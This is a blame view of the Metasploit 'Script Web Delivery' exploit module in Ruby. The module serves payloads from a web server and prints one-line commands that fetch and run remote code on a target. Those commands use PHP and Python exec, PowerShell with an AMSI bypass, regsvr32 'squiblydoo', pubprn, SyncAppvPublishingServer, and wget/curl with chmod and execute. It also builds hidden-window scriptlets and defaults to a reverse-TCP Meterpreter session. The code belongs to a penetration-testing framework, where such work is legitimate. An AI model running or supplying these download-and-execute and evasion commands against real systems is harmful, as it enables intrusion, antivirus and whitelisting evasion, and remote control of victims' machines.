Files
metasploit-gs/modules/exploits/multi/script/web_delivery.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

294 lines
12 KiB
Ruby
Raw Normal View History

2014-06-03 11:53:32 -04:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-06-03 11:53:32 -04:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2023-06-21 16:35:41 -05:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2014-06-25 16:34:51 -04:00
Rank = ManualRanking
2014-06-03 11:53:32 -04:00
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
2014-06-03 11:53:32 -04:00
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Script Web Delivery',
'Description' => %q{
This module quickly fires up a web server that serves a payload.
The module will provide a command to be run on the target machine
based on the selected target. The provided command will download
and execute a payload using either a specified scripting language
interpreter or "squiblydoo" via regsvr32.exe for bypassing
application whitelisting.
The main purpose of this module is to quickly establish a session on a
target machine when the attacker has to manually type in the command:
e.g. Command Injection, RDP Session, Local Access or maybe Remote
Command Execution.
This attack vector does not write to disk so it is less likely to
trigger AV solutions and will allow privilege escalations supplied
by Meterpreter.
When using either of the PSH targets, ensure the payload architecture
matches the target computer or use SYSWOW64 powershell.exe to execute
x86 payloads on x64 machines.
Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.
The signed Microsoft binary file, Regsvr32, is able to request an .sct
file and then execute the included PowerShell command inside of it.
Similarly, the pubprn target uses the pubprn.vbs script to request and
execute a .sct file.
Both web requests (i.e., the .sct file and PowerShell download/execute)
can occur on the same port.
The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe
Microsoft signed binary to request and execute a PowerShell script. This
technique only works on Windows 10 builds <= 1709.
"PSH (Binary)" will write a file to the disk, allowing for custom binaries
to be served up to be downloaded and executed.
2014-06-25 16:34:51 -04:00
},
'License' => MSF_LICENSE,
2023-06-21 16:35:41 -05:00
'Author' =>
2023-04-27 15:49:38 +02:00
[
2023-06-21 16:35:41 -05:00
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
'Ben Campbell',
'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
'Trenton Ivey', # AppLocker MSF Module (kn0)
'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget
'Matt Nelson', # @enigma0x3 // pubprn discovery
'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass
'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery
2023-04-27 15:49:38 +02:00
],
2023-06-21 16:35:41 -05:00
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp',
'Powershell::exec_in_place' => true
},
'References' =>
2023-04-27 15:49:38 +02:00
[
2023-06-21 16:35:41 -05:00
['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],
['URL', 'https://iwantmore.pizza/posts/amsi.html'],
['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'],
['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'],
['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'],
],
2023-06-21 16:35:41 -05:00
'Platform' => %w[python php win linux osx],
'Targets' =>
[
2023-06-21 16:35:41 -05:00
[
'Python', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
],
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
],
[
'PSH', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[
'Regsvr32', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[
'pubprn', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[
'SyncAppvPublishingServer', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[
'PSH (Binary)', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[
'Linux', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[
'Mac OS X', {
'Platform' => 'osx',
'Arch' => [ARCH_X86, ARCH_X64]
}
],
],
'DefaultTarget' => 0,
2023-06-21 16:35:41 -05:00
'DisclosureDate' => '2013-07-19'
)
)
register_advanced_options(
[
OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]),
OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),
2023-06-21 16:35:41 -05:00
OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]),
OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]),
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
]
)
end
def primer
print_status('Run the following command on the target machine:')
2019-07-12 23:16:43 +10:00
case target.name
when 'PHP'
print_line(%(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"))
when 'Python'
print_line(%(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());"))
when 'PSH'
2019-12-14 19:49:53 +01:00
uri = get_uri
if datastore['PSH-AmsiBypass']
2023-06-21 16:35:41 -05:00
amsi_uri = uri + amsi_bypass_uri
print_line(gen_psh([amsi_uri, uri], 'string').to_s)
2019-12-14 19:49:53 +01:00
else
print_line(gen_psh(uri, 'string').to_s)
2019-12-14 19:49:53 +01:00
end
2019-07-12 23:16:43 +10:00
when 'pubprn'
print_line(%(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct))
when 'SyncAppvPublishingServer'
print_line(%(SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('#{get_uri}') | IEX"))
when 'Regsvr32'
print_line(%(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll))
when 'PSH (Binary)'
psh = gen_psh(get_uri.to_s, 'download')
print_line(psh.to_s)
when 'Linux'
fname = Rex::Text.rand_text_alphanumeric(8)
print_line("wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
2020-01-09 14:59:47 +01:00
when 'Mac OS X'
fname = Rex::Text.rand_text_alphanumeric(8)
print_line("curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
end
2017-09-06 13:17:28 +01:00
end
2020-02-17 10:05:14 +08:00
def amsi_bypass_uri
2020-03-12 15:21:00 +08:00
unless datastore['PSH-AmsiBypassURI'].empty?
2023-06-21 16:35:41 -05:00
@amsi_uri = datastore['PSH-AmsiBypassURI']
2020-03-12 15:21:00 +08:00
end
2023-06-21 16:35:41 -05:00
@amsi_uri ||= random_uri
2020-02-17 10:05:14 +08:00
end
2019-07-12 23:16:43 +10:00
def on_request_uri(cli, request)
2023-06-21 16:35:41 -05:00
if request.raw_uri.to_s.ends_with?('.sct')
print_status('Handling .sct Request')
psh = gen_psh(get_uri.to_s, 'string')
2019-07-12 23:16:43 +10:00
case target.name
when 'pubprn'
data = gen_pubprn_sct_file(psh)
when 'Regsvr32'
data = gen_sct_file(psh)
else
print_error('Unexpected request for .sct file')
end
send_response(cli, data, 'Content-Type' => 'text/plain')
return
end
2023-06-21 16:35:41 -05:00
if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)
data = bypass_powershell_protections
print_status("Delivering AMSI Bypass (#{data.length} bytes)")
2019-07-12 23:16:43 +10:00
send_response(cli, data, 'Content-Type' => 'text/plain')
return
end
case target.name
when 'Linux', 'Mac OS X', 'PSH (Binary)'
data = generate_payload_exe
when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'
2019-07-12 23:16:43 +10:00
data = cmd_psh_payload(
payload.encoded,
2023-06-21 16:35:41 -05:00
payload_instance.arch.first
2019-07-12 23:16:43 +10:00
)
2014-06-03 11:53:32 -04:00
else
data = payload.encoded.to_s
end
2019-12-14 19:49:53 +01:00
print_status("Delivering Payload (#{data.length} bytes)")
2019-07-12 23:16:43 +10:00
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
def gen_psh(url, *method)
2023-06-21 16:35:41 -05:00
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']
2019-07-12 23:16:43 +10:00
if method.include? 'string'
2023-06-21 16:35:41 -05:00
download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url)
2019-07-12 23:16:43 +10:00
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric(8)}.exe"
2019-07-12 23:16:43 +10:00
# Set filename (Use random filename if empty)
2019-12-06 12:45:23 +01:00
filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']
2019-07-12 23:16:43 +10:00
# Set path (Use %TEMP% if empty)
path = datastore['PSHBinary-PATH'].blank? ? '$env:temp' : %('#{datastore['PSHBinary-PATH']}')
2019-07-12 23:16:43 +10:00
# Join Path and Filename
file = %(echo (#{path}+'\\#{filename}'))
2019-07-12 23:16:43 +10:00
# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end
2023-06-21 16:35:41 -05:00
download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"
# Generate main PowerShell command
if datastore['PSH-EncodedCommand']
2019-11-05 00:24:47 +01:00
download_and_run = encode_script(download_and_run)
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)
end
2019-07-12 23:16:43 +10:00
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end
def rand_class_id
"#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}"
end
def gen_sct_file(command)
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end
2019-07-12 23:16:43 +10:00
def gen_pubprn_sct_file(command)
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}
2019-07-12 23:16:43 +10:00
end
2017-09-06 13:17:28 +01:00
end